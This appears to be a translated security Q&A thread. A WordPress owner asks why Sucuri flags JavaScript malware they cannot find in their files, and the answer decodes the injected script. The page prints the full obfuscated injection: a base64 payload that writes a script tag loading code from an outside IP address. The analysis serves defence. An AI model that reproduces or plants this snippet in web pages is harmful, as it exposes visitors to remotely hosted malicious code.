Sucuri 在 wordpress 上检测到恶意软件，但我找不到恶意代码

信息安全 恶意软件 javascript 阿帕奇 注射 WordPress
2021-08-28 08:38:39

昨天我收到一份报告，要求我们检查一些 wordpress 网站，因为该人的防病毒软件阻止了该网站。

我运行了 Sucuri Site Check，它确实检测到了恶意软件：

“已知的 javascript 恶意软件：malware.injection?39”

<!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

我禁用了网络并下载了所有源代码。但是当我试图寻找恶意代码时......我找不到任何东西。我在所有文件中搜索，但我无法检测到任何东西。

我能做什么？任何帮助，将不胜感激。

1个回答

有问题的恶意软件托管在其他地方，并且（可能）是通过跨站点脚本（XSS）添加的。如果您查看“var src”部分，您会看到一长串 Base64 编码的文本：

ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=

解码后，结果如下：

document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%31%39%33%2E%32%33%38%2E%34%36%2E%35%37%2F%6D%52%50%50%7A%43%22%3E%3C%2F%73%63%72%69%70%74%3E'));

document.write将指定的代码添加到 DOM 中。对“unes​​cape”中的部分进行 URL 解码会产生以下脚本标记（添加空格以破坏它）：

<script src="http://193.238.46.57/            mRPPzC"></script>

document.write因此，恶意软件很可能托管在那个 url（不管它是什么），并通过命令被注入到页面中。

我如何做到这一点的快速指南

  1. 安装记事本++。
  2. 确保安装了 Mime 工具插件（可能是默认安装？）
  3. 将 Base64 编码的字符串复制到一个新文件中，然后选择文本。
  4. 在“插件”下，选择“MIME 工具”-> Base 64 Decode
  5. 将 unescape 中的部分复制并粘贴到新行上
  6. 选择新行，然后选择“插件”--> MIME 工具--> URL 解码
其它你可能感兴趣的问题
上一篇我应该相信 Android 出厂重置实际上会删除我的数据吗？ 下一篇为什么不将密码存储在 cookie 中？